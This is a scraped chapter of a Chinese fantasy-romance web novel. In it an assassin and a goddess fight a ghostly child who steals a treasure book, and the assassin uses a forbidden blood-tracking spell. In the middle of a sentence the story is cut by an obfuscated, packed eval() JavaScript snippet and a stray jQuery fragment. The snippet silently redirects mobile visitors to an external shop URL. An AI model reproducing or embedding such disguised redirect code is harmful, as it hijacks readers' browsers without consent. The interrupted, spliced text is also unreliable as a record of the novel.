文趣网 > 其他小说 > 刺客恋爱守则 > 4. 第 4 章
    也不等两人去开窗,一个小男孩已自顾自地从窗外爬了进来。身上衣服破破烂烂,皮肤青灰,眼上蒙着一个白布条,正是白天在酒馆遇见的那个小鬼。

    祁灵念愕然盯着他,身旁玄柯已一步挡在她身前,一剑指出,剑尖抵在那孩童咽喉,一字一字冷冷道:

    “滚出去。”

    奇的是这小孩浑然不惧。他双手背在身后,举止间竟透出一股与年龄全然不符的沉稳气度,倒有几分将军临阵的架势。也不理会玄柯,只对着祁灵念咯咯笑道:

    “小妹妹,借你这法宝用上一用,可好?”

    他伸手指一指桌上摊开的《九域奇珍志》。

    玄柯没心情和这小鬼周旋,一剑奇快刺出,然而剑锋过处,那孩子的身形竟倏然化作一片紫黑烟气,转瞬消散。

    紧接着,一声轻哼自两人身后传来,那小孩轻轻一笑,解开了眼前覆着的白布,说道:

    “软的不吃,那就吃硬的。”

    一条白纱带缓缓垂下,两人这才看的清楚,这孩子一双眼睛,瞳孔是白色,眼白却是黑色,全然不似活人之相!

    两人都看的呆了,十多年前被邪祟入体的活死人们,也是这般模样。只是活死人多是没有自己的意识的行尸走肉听人号令,可眼前这孩子,明显是有意识的。

    小孩趁二人不备,一双小手急速冲着桌上的书抓了过去,祁灵念正要抢在他跟前把书抢走,只见又是一阵烟雾升起,眼前突然什么都看不见了。只听见小孩尖细的嗓音隐隐唱着——

    “阴风起,纸钱飞,阎王殿前无人归。”

    “鬼门开,索命来,旧债未偿怨气长。”

    祁灵念向后跌跌撞撞退去,却突然踩到了不知谁的脚,紧接着撞到了人身上。

    她抬头,视线逐渐清明,就看见一双水汪汪的眸子注视着她。

    玄柯面无表情地抽回自己的脚。

    烟雾缓缓散去,祁灵念才看的清晰。原来这小孩手里拿着一把小巧玲珑的伞,这伞身破破烂烂,上面贴贴着几道歪斜符纸勉强修补,伞沿下却渗出黑烟,原来方才的烟雾,便是从这底下散发出来的。

    祁灵念眼前寒芒一闪,玄柯已然持剑杀了上去。小孩挥伞招架,伞尖利刃不知是什么材质,坚硬异常,与他的长剑刀刃相对时,竟震得剑身咯吱作响,眼看就要断折。玄柯自知不能硬接,一边闪避一边出剑,小孩身法却也不输他。

    便在此时,一股柔和墨水也加入战场,祁灵念挥动着竹笔,此时也顾不上隐藏什么身份,两人二打一,终于祁灵念以笔墨把这孩子定了住,玄柯一剑给他当胸捅了个穿。

    没有血流出来,小孩叫了一声,似乎能察觉到痛。他闭了眼,两人凑上前去。

    祁灵念问:“死了吗?”

    玄柯答:“应该吧。”

    方才打斗之时,她便察觉出这小孩没有呼吸,应当不是活人。可若是鬼魂附身了活人,此刻也没有什么邪祟鬼魂飘出体外。更重要的是,她听不见这小孩的心声!

    身旁少年正要伸手取回宝书,小孩却猝然睁眼,玄柯本能挡在祁灵念身前,脖颈间被他的伞尖轻轻划上了一道。

    “你小子是白执衡的走狗之一,我没说错吧?”

    小孩纵身一跃上了窗棂,抱着书阴森森的说了这么一句,他整理起胸前碎衣,把刀口遮了住。

    玄柯没有回答,他一摸自己脖颈间,只觉得伤口不深,此刻却痛的厉害,直痛的他有些眼前发昏。他伸手一看,黑漆漆的血糊在指尖。

    “正好叫你吃点苦头!”

    也不等玄柯回答,小孩向后一仰,整个人从窗口跌了出去。祁灵念冲过去趴在窗前向下看,见小孩此时已到了一楼,对着地上等着的那只大黑狗说道:

    “走啦,大黑。”

    他撑开一把小伞,刚好给那条大黑狗罩了住。接着一转伞身,伞上红线穿着的铜钱叮咚作响,烟雾起,一人一狗在夜色里没了身影。

    旅店此时静的吓人,方才他们打斗那么久,都没有人出来,祁灵念有种不好的预感,拉着玄柯来到一楼。

    只见地面上横七竖八躺了一圈尸体。一个活人都没有,全被杀了。

    祁灵念脊背一凉,身后玄柯突然出声:

    “无妨,他逃不掉。”

    说罢他持剑在自己左臂上利落地一划,鲜血顿时涌了出来。脸上一点表情也无,垂着眼睫,便似没有痛觉一般将血往剑刃上喂去。那把蓝紫色的长剑剑身倏地一亮,有淡淡白烟自袅袅溢出,缭绕如梦,如仙如幻。

    他将剑一竖,不一会,剑尖便开始淅淅沥沥向下滴血。右手持剑,以剑为笔,就着那殷红的血,勾勒出一个狰狞的轮廓。

    祁灵念起初只是疑惑,看着看着,心头忽然一紧。这法阵的走势她见过,这是早已被九域列为禁术的“噬邪引”!

    小时候,祁灵念偷偷翻过哥哥案头那本镇压邪典的禁书,被逮个正着,劈头盖脸挨了一顿骂。那书里别的她没记住,只记得头一页画的,便是这个法术。

    此术阴邪至极,能强行将邪祟、厉鬼、活死人等一切妖魔鬼怪身上的戾气怨气剥离,尽数引入施术者体内。吸纳而来的邪气,可以为己所用。只是一旦驱使过剧,方圆百里鬼气冲天,几乎与十多年前那场邪祟降世之祸无异。

    也正因如此,它才被九域列为上上等的禁术。

    修习者,杀无赦。

    祁灵念忍不住抬眼望向玄柯。少年垂首专注于地上阵法,额前碎发簌簌垂落,遮去了大半眉眼,只露出微微抿着的唇,看不清眼底神色。

    祁灵念心底漫上一阵凉意,心底莫名发慌,犹豫着伸出手,轻轻扯了扯他的衣袖小声道:“这可是噬邪引,你不要命啦?”

    玄柯手上法诀没停,低声解释:“先把这只小鬼体内的邪气抽出来,再顺着这些邪气的指引追过去,便能找到...”

    话才说到一半,尖锐刺骨的剧痛猛地从脖颈伤处蔓延开来,少年膝盖一软,险些直直跪倒在地。祁灵念在旁扶住了他,玄柯却示意她看向地面。

    只见地上阵法正中裂开一道血痕,像被一只无形的手牵引着,将他体内的血尽数抽了出来,簌簌向前窜行,蜿蜒如蛇,飞快地爬过门槛,穿过店门,在夜幕中隐没。

    玄柯道:“在那个方向。”

    祁灵念拉着他胳膊便要追过去,玄柯却突然生生顿住了脚步。

    祁灵念不明所以地回头看他,见少年张了张嘴,唇瓣翕动了两下,似乎有什么话要说,却不知如何开口。

    良久,玄柯把目光移了开,避着她探究的视线,垂眼注视着地面血痕,低声说道:"这里已经是百易域内,姑娘既已履行了承诺,便不必再跟着我了。待我追到奇珍志,定亲自送还青云域。"

    这,这是要散伙?

    祁灵念本以为出了什么差错,正忐忑不安的等他下文,却等来这么一句,心里登时漫上一股说不清的滋味。

    一同走了这些天,风里雨里也算并肩过来的人了,偏到了这紧要关

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727751|208887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头,他说踹就把人踹了。

    “若我偏要跟着你,你便拿我如何?”

    她眨了眨眼睛望他,眼底笑意盈盈,闪闪发亮。一身白色衣衫被夜风微微拂动,月光渡了一层清辉,她歪着头笑,哪里像个高高在上的神女,倒像是误入人间的什么山精水魅。

    玄柯微微一怔。

    紧接着,一丝细微的痛触从心尖上窜起,像是过了电,迅速的蔓延至四肢百骸。

    他手指微微蜷缩,神色黯下去,冷冷道:

    “不如何。”

    他故意不再看祁灵念,从她身侧走过,跨过门槛,大步流星沿着血痕向前走。

    他是个做刺客的,生来便该是一个人。主上说过,做这行的人不能有软肋,断情绝爱是基本守则。

    他记事起便没了爹娘,主上便在他身上种下了禁术。从今往后,他必须绝对服从主上命令,违令则噬心蚀骨,疼起来恨不能立时死了干净。

    从小到大,他可没少吃过这个亏。

    他和祁灵念的人生,可相差的远了。一个是万民敬仰的神女,一个是人人唾弃的魔头之子,就此别过,便是最好。

    正落寞地想着,他忽然浑身一颤。

    胳膊上落了一只温热的手,祁灵念不知何时跟了上来,也不问他方才那句话是什么意思,笑嘻嘻地从怀里掏出一只小巧的酒壶,在他眼前晃了晃:

    "大堂柜上摆着好几坛子酒,我给顺了一壶,你喝点,伤口便不痛啦,是不是?"

    酒壶不大,被她献宝似的举到他面前。

    玄柯低头看着那只酒壶,又抬眼看她。这一路同行,他喝酒从不避人,却也没刻意提过自己好这口。眼前少女鬓发散乱,跑得脸颊薄红,少年心里如针扎般,又是一痛。

    他垂下眼帘,接了过来,轻声道:“多谢了。”

    ——

    为了续噬魂引,玄柯连着往剑上喂了好几天的血。

    少年本就脸色苍白,这几日下来更是白的吓人,祁灵念真怕他哪一天走着走着,突然昏过去!

    禁术自然不能在光天化日下现形,于是两人夜里追踪,白天便四处打听。

    这一带坊市热闹,沿街摆着各种摊子。路过一个卖鲜枣的摊子,那姑娘正卖力吆喝着自家的枣儿多大多甜,祁灵念被声音引得偏头一看,红彤彤的枣子堆了满筐,水灵灵的。她顺手便拿了一颗,往玄柯手里塞过去:

    "你尝尝,甜不甜。"

    玄柯低头看着掌心里那颗圆滚滚的红枣,愣了一下,下意识便要推回去:"那个,我就不……"

    话没说完,祁灵念拈起那颗枣,眼疾手快地往他嘴里一堵,叉着腰瞪他:

    "给你补血的,不许吐。"

    少年被那样一双亮晶晶的眼睛盯着瞧,到底没再说什么,咬了一口。枣肉脆生生的,甜意蔓延开来。

    他抬眸看了她一眼,祁灵念偏不放过他,要眼睁睁看着他吃完。

    他于是乖乖咽了下去,嘴上什么话也没说,祁灵念却听见了:

    [好甜,还挺好吃。]

    她嘴角压不住地翘了一下,正要转头对那卖枣的姑娘说要多买上一些,忽然一把折扇按住了她的手,替她递过去几枚铜钱。

    她顺着那扇面抬眼,就见一个白衣少年立在摊前,一身素白长衫,眉目俊朗,手里折扇半开,微微笑着朝她颔首,随即目光越过她,落在玄柯身上,语气里带了几分玩味:

    "师弟,你买东西,要姑娘给你掏钱啊?"